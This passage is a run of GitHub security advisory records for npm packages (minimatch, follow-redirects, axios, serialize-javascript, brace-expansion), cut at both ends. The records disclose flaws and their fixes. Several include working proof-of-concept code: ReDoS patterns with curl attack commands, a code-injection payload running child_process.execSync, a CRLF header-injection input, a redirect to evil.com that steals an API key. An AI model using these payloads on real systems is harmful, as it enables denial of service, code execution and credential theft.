  "details": "### Summary\n\nNested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.\n\n---\n\n### Details\n\nThe root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:\n\n```typescript\n: this.type === \u0027*\u0027 \u0026\u0026 bodyDotAllowed ? `)?`\n: `)${this.type}`\n```\n\nThis produces the following regexps:\n\n| Pattern              | Generated regex                          |\n|----------------------|------------------------------------------|\n| `*(a\\|b)`            | `/^(?:a\\|b)*$/`                          |\n| `*(*(a\\|b))`         | `/^(?:(?:a\\|b)*)*$/`                     |\n| `*(*(*(a\\|b)))`      | `/^(?:(?:(?:a\\|b)*)*)*$/`               |\n| `*(*(*(*(a\\|b))))` | `/^(?:(?:(?:(?:a\\|b)*)*)*)*$/`          |\n\nThese are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8\u0027s backtracking engine explores an exponential number of paths before returning `false`.\n\nThe generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.\n\nMeasured times via `minimatch()`:\n\n| Pattern              | Input              | Time       |\n|----------------------|--------------------|------------|\n| `*(*(a\\|b))`         | `a` x30 + `z`      | ~68,000ms  |\n| `*(*(*(a\\|b)))`      | `a` x20 + `z`      | ~124,000ms |\n| `*(*(*(*(a\\|b))))` | `a` x25 + `z`      | ~116,000ms |\n| `*(a\\|a)`            | `a` x25 + `z`      | ~2,000ms   |\n\nDepth inflection at fixed input `a` x16 + `z`:\n\n| Depth | Pattern              | Time         |\n|-------|----------------------|--------------|\n| 1     | `*(a\\|b)`            | 0ms          |\n| 2     | `*(*(a\\|b))`         | 4ms          |\n| 3     | `*(*(*(a\\|b)))`      | 270ms        |\n| 4     | `*(*(*(*(a\\|b))))` | 115,000ms    |\n\nGoing from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- verify the generated regexps and timing (standalone script)**\n\nSave as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:\n\n```javascript\nimport { minimatch, Minimatch } from \u0027minimatch\u0027\n\nfunction timed(fn) {\n  const s = process.hrtime.bigint()\n  let result, error\n  try { result = fn() } catch(e) { error = e }\n  const ms = Number(process.hrtime.bigint() - s) / 1e6\n  return { ms, result, error }\n}\n\n// Verify generated regexps\nfor (let depth = 1; depth \u003c= 4; depth++) {\n  let pat = \u0027a|b\u0027\n  for (let i = 0; i \u003c depth; i++) pat = `*(${pat})`\n  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()\n  console.log(`depth=${depth} \"${pat}\" -\u003e ${re}`)\n}\n// depth=1 \"*(a|b)\"          -\u003e /^(?:a|b)*$/\n// depth=2 \"*(*(a|b))\"       -\u003e /^(?:(?:a|b)*)*$/\n// depth=3 \"*(*(*(a|b)))\"    -\u003e /^(?:(?:(?:a|b)*)*)*$/\n// depth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\n// Safe-length timing (exponential growth confirmation without multi-minute hang)\nconst cases = [\n  [\u0027*(*(*(a|b)))\u0027, 15],   // ~270ms\n  [\u0027*(*(*(a|b)))\u0027, 17],   // ~800ms\n  [\u0027*(*(*(a|b)))\u0027, 19],   // ~2400ms\n  [\u0027*(*(a|b))\u0027,    23],   // ~260ms\n  [\u0027*(a|b)\u0027,      101],   // \u003c5ms (depth=1 control)\n]\nfor (const [pat, n] of cases) {\n  const t = timed(() =\u003e minimatch(\u0027a\u0027.repeat(n) + \u0027z\u0027, pat))\n  console.log(`\"${pat}\" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)\n}\n\n// Confirm noext disables the vulnerability\nconst t_noext = timed(() =\u003e minimatch(\u0027a\u0027.repeat(18) + \u0027z\u0027, \u0027*(*(*(a|b)))\u0027, { noext: true }))\nconsole.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)\n\n// +() is equally affected\nconst t_plus = timed(() =\u003e minimatch(\u0027a\u0027.repeat(17) + \u0027z\u0027, \u0027+(+(+(a|b)))\u0027))\nconsole.log(`\"+(+(+(a|b)))\" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)\n```\n\nObserved output:\n```\ndepth=1 \"*(a|b)\"          -\u003e /^(?:a|b)*$/\ndepth=2 \"*(*(a|b))\"       -\u003e /^(?:(?:a|b)*)*$/\ndepth=3 \"*(*(*(a|b)))\"    -\u003e /^(?:(?:(?:a|b)*)*)*$/\ndepth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\"*(*(*(a|b)))\" n=15: 269ms result=false\n\"*(*(*(a|b)))\" n=17: 268ms result=false\n\"*(*(*(a|b)))\" n=19: 2408ms result=false\n\"*(*(a|b))\"    n=23: 257ms result=false\n\"*(a|b)\"       n=101: 0ms result=false\nnoext=true: 0ms (should be ~0ms)\n\"+(+(+(a|b)))\" n=18: 6300ms result=false\n```\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nSave as `poc4-server.mjs`:\n\n```javascript\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3001\nhttp.createServer((req, res) =\u003e {\n  const url     = new URL(req.url, `http://localhost:${PORT}`)\n  const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n  const path    = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n  const start  = process.hrtime.bigint()\n  const result = minimatch(path, pattern)\n  const ms     = Number(process.hrtime.bigint() - start) / 1e6\n\n  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern=\"${pattern}\" path=\"${path.slice(0,30)}\"`)\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n}).listen(PORT, () =\u003e console.log(`listening on ${PORT}`))\n```\n\nTerminal 1 -- start the server:\n```\nnode poc4-server.mjs\n```\n\nTerminal 2 -- fire the attack (depth=3, 19 a\u0027s + z) and return immediately:\n```\ncurl \"http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29\u0026path=aaaaaaaaaaaaaaaaaaaz\" \u0026\n```\n\nTerminal 3 -- send a benign request while the attack is in-flight:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3001/match?pattern=*%28a%7Cb%29\u0026path=aaaz\"\n```\n\n**Observed output -- Terminal 2 (attack):**\n```\n{\"result\":false,\"ms\":\"64149\"}\n```\n\n**Observed output -- Terminal 3 (benign, concurrent):**\n```\n{\"result\":false,\"ms\":\"0\"}\n\ntime_total: 63.022047s\n```\n\n**Terminal 1 (server log):**\n```\n[2026-02-20T09:41:17.624Z] pattern=\"*(*(*(a|b)))\" path=\"aaaaaaaaaaaaaaaaaaaz\"\n[2026-02-20T09:42:21.775Z] done in 64149ms result=false\n[2026-02-20T09:42:21.779Z] pattern=\"*(a|b)\" path=\"aaaz\"\n[2026-02-20T09:42:21.779Z] done in 0ms result=false\n```\n\nThe server reports `\"ms\":\"0\"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.\n\nNote: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8\u0027s JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.\n\n---\n\n### Impact\n\nAny context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.\n\nDepth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.\n\n`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).\n\n**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.",
  "id": "GHSA-23c5-xmqv-rm74",
  "modified": "2026-02-26T22:07:15Z",
  "published": "2026-02-26T22:07:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27904"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/minimatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.15.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "follow-redirects"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T01:11:11Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nWhen an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target.\n\nSince `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem.\n\n## Affected Code\n\n`index.js`, lines 469-476:\n\n```javascript\nif (redirectUrl.protocol !== currentUrlParts.protocol \u0026\u0026\n   redirectUrl.protocol !== \"https:\" ||\n   redirectUrl.host !== currentHost \u0026\u0026\n   !isSubdomain(redirectUrl.host, currentHost)) {\n  removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);\n}\n```\n\nThe regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched.\n\n## Attack Scenario\n\n1. App uses axios with custom auth header: `headers: { \u0027X-API-Key\u0027: \u0027sk-live-secret123\u0027 }`\n2. Server returns `302 Location: https://evil.com/steal`\n3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com`\n4. Attacker captures the API key\n\n## Impact\n\nAny custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.\n\n## Suggested Fix\n\nAdd a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect.\n\n## Disclosure\n\nSource code review, manually verified. Found 2026-03-20.",
  "id": "GHSA-r4q5-vmmm-2653",
  "modified": "2026-04-14T01:11:11Z",
  "published": "2026-04-14T01:11:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653"
    },
    {
      "type": "WEB",
      "url": "https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/follow-redirects/follow-redirects"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:34:32Z",
    "nvd_published_at": "2026-04-24T18:16:30Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\ntoFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.\n\n### Details\nlib/helpers/toFormData.js:210 defines an inner `build(value, path)` that recurses into every object/array child (line 225: `build(el, path ? path.concat(key) : [key])`). The only safeguard is a `stack` array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because `build` calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8\u0027s call stack.\n\n`toFormData` is the serializer behind `FormData` request bodies and `AxiosURLSearchParams` (used by `buildURL` when `params` is an object with `URLSearchParams` unavailable, see `lib/helpers/buildURL.js:53` and `lib/helpers/AxiosURLSearchParams.js:36`). Any server-side code that forwards a client-supplied object into `axios({ data, params })` therefore reaches the recursive walker with attacker-controlled depth.\n\nThe RangeError is thrown synchronously from inside `forEach`, escapes `toFormData`, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.\n\n### PoC\n```js\nimport toFormData from \u0027axios/lib/helpers/toFormData.js\u0027;\nimport FormData from \u0027form-data\u0027;\n\nfunction nest(depth) {\n  let o = { leaf: 1 };\n  for (let i = 0; i \u003c depth; i++) o = { a: o };\n  return o;\n}\n\ntry {\n  toFormData(nest(2500), new FormData());\n} catch (e) {\n  console.log(e.name + \u0027: \u0027 + e.message);\n}\n// RangeError: Maximum call stack size exceeded\n```\n\nServer-side reachability example:\n```js\n// vulnerable proxy pattern\napp.post(\u0027/forward\u0027, async (req, res) =\u003e {\n  await axios.post(\u0027https://upstream/api\u0027, req.body); // req.body user-controlled\n  res.send(\u0027ok\u0027);\n});\n// attacker POST /forward with {\"a\":{\"a\":{\"a\":... 2500 deep ...}}}\n// -\u003e toFormData build() overflows -\u003e request handler crashes\n```\n\nVerified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.\n\n### Impact\nA remote, unauthenticated attacker who can influence an object passed to axios as request `data` or `params` triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in `toFormData`\u0027s `build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.",
  "id": "GHSA-62hf-57xw-28j9",
  "modified": "2026-06-08T15:54:28Z",
  "published": "2026-05-05T00:34:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42039"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/85132ffba1a77609ea5d101c8a413dea7174932f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.15.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: unbounded recursion in toFormData causes DoS via deeply nested request data"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "serialize-javascript"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-96"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-28T02:50:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe serialize-javascript npm package (versions \u003c= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.\n\nWhile `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.\n\nIf an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `\u003cscript\u003e` tags), the injected code executes.\n\n```javascript\nconst serialize = require(\u0027serialize-javascript\u0027);\n// Create an object that passes instanceof RegExp with a spoofed .flags\nconst fakeRegex = Object.create(RegExp.prototype);\nObject.defineProperty(fakeRegex, \u0027source\u0027, { get: () =\u003e \u0027x\u0027 });\nObject.defineProperty(fakeRegex, \u0027flags\u0027, {\n  get: () =\u003e \u0027\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"\u0027\n});\nfakeRegex.toJSON = function() { return \u0027@placeholder\u0027; };\nconst output = serialize({ re: fakeRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"\")}\nlet obj;\neval(\u0027obj = \u0027 + output);\nconsole.log(global.PWNED); // \"CODE_INJECTION_VIA_FLAGS\" \u2014 injected code executed!\n#h2. PoC 2: Code Injection via Date.toISOString()\n```\n\n```javascript\nconst serialize = require(\u0027serialize-javascript\u0027);\nconst fakeDate = Object.create(Date.prototype);\nfakeDate.toISOString = function() { return \u0027\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"\u0027; };\nfakeDate.toJSON = function() { return \u00272024-01-01\u0027; };\nconst output = serialize({ d: fakeDate });\n// Output: {\"d\":new Date(\"\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"\")}\neval(\u0027obj = \u0027 + output);\nconsole.log(global.DATE_PWNED); // \"DATE_INJECTION\" \u2014 injected code executed!\n#h2. PoC 3: Remote Code Execution\n```\n\n```javascript\nconst serialize = require(\u0027serialize-javascript\u0027);\nconst rceRegex = Object.create(RegExp.prototype);\nObject.defineProperty(rceRegex, \u0027source\u0027, { get: () =\u003e \u0027x\u0027 });\nObject.defineProperty(rceRegex, \u0027flags\u0027, {\n  get: () =\u003e \u0027\"+require(\"child_process\").execSync(\"id\").toString()+\"\u0027\n});\nrceRegex.toJSON = function() { return \u0027@rce\u0027; };\nconst output = serialize({ re: rceRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+require(\"child_process\").execSync(\"id\").toString()+\"\")}\n// When eval\u0027d on a Node.js server, executes the \"id\" system command\n```\n\n### Patches\n\nThe fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3",
  "id": "GHSA-5c6j-r48x-rmvq",
  "modified": "2026-03-02T16:17:35Z",
  "published": "2026-02-28T02:50:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7660"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-hxcc-f52p-wc94"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yahoo/serialize-javascript"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "brace-expansion"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "brace-expansion"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "brace-expansion"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "brace-expansion"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33750"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:29:42Z",
    "nvd_published_at": "2026-03-27T15:16:57Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.\n\nThe loop in question:\n\nhttps://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184\n\n`test()` is one of\n\nhttps://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113\n\nThe increment is computed as `Math.abs(0) = 0`, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a `RangeError`. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.\n\nThis affects any application that passes untrusted strings to expand(), or by error sets a step value of `0`. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.\n\n### Patches\n\n\nUpgrade to versions\n- 5.0.5+\n\nA step increment of 0 is now sanitized to 1, which matches bash behavior.\n\n### Workarounds\n\nSanitize strings passed to `expand()` to ensure a step value of `0` is not used.",
  "id": "GHSA-f886-m6hf-6m8v",
  "modified": "2026-03-27T21:38:55Z",
  "published": "2026-03-26T18:29:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33750"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/issues/98"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/pull/95"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/pull/96"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/pull/97"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/juliangruber/brace-expansion"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "brace-expansion: Zero-step sequence causes process hang and memory exhaustion"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42037"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:40:45Z",
    "nvd_published_at": "2026-04-24T18:16:30Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\\r\\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.\n\n### Details\nIn `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:\n```\nif (isStringValue) {\n  value = textEncoder.encode(String(value).replace(/\\r?\\n|\\r\\n?/g, CRLF));\n} else {\n  // value.type is NOT sanitized for CRLF sequences\n  headers += `Content-Type: ${value.type || \u0027application/octet-stream\u0027}${CRLF}`;\n}\n```\nNote that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for `value.type`.\n\n\n### Attack chain:\n\n1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing `\\r\\n` sequences\n2. The proxy appends the file to a FormData and posts it via `axios.post(url, formData)`\n3. axios calls `formDataToStream()`, which passes `value.type` unsanitized into the multipart body\n4. The downstream server receives a multipart body containing injected per-part headers\n5. The server\u0027s multipart parser processes the injected headers as legitimate\n\nThis is reachable via the fully public axios API (`axios.post(url, formData)`) with no special configuration.\nAdditionally, `value.name` used in the `Content-Disposition` construction nearby likely has the same issue and should be audited.\n\n### PoC\n**Prerequisites**: Node.js 18+, axios (tested on 1.14.0)\n```\nconst http = require(\u0027http\u0027);\nconst axios = require(\u0027axios\u0027);\n\nlet receivedBody = \u0027\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n  let body = \u0027\u0027;\n  req.on(\u0027data\u0027, chunk =\u003e { body += chunk.toString(); });\n  req.on(\u0027end\u0027, () =\u003e {\n    receivedBody = body;\n    res.writeHead(200);\n    res.end(\u0027ok\u0027);\n  });\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, async () =\u003e {\n  const port = server.address().port;\n\n  class SpecFormData {\n    constructor() {\n      this._entries = [];\n      this[Symbol.toStringTag] = \u0027FormData\u0027;\n    }\n    append(name, value) { this._entries.push([name, value]); }\n    [Symbol.iterator]() { return this._entries[Symbol.iterator](); }\n    entries() { return this._entries[Symbol.iterator](); }\n  }\n\n  const fd = new SpecFormData();\n\n  fd.append(\u0027photo\u0027, {\n    type: \u0027image/jpeg\\r\\nX-Injected-Header: PWNED-by-attacker\\r\\nX-Evil: arbitrary-value\u0027,\n    size: 16,\n    name: \u0027photo.jpg\u0027,\n    [Symbol.asyncIterator]: async function*() {\n      yield Buffer.from(\u0027MALICIOUS PAYLOAD\u0027);\n    }\n  });\n\n  await axios.post(`http://127.0.0.1:${port}/upload`, fd);\n\n  if (receivedBody.includes(\u0027X-Injected-Header: PWNED-by-attacker\u0027)) {\n    console.log(\u0027[VULNERABLE] CRLF injection confirmed in multipart body\u0027);\n    console.log(\u0027Received body:\\n\u0027 + receivedBody);\n  } else {\n    console.log(\u0027[NOT_VULNERABLE]\u0027);\n  }\n\n  server.close();\n});\n```\n\n### Steps to reproduce:\n\n1. npm install axios\n2. Save the above as 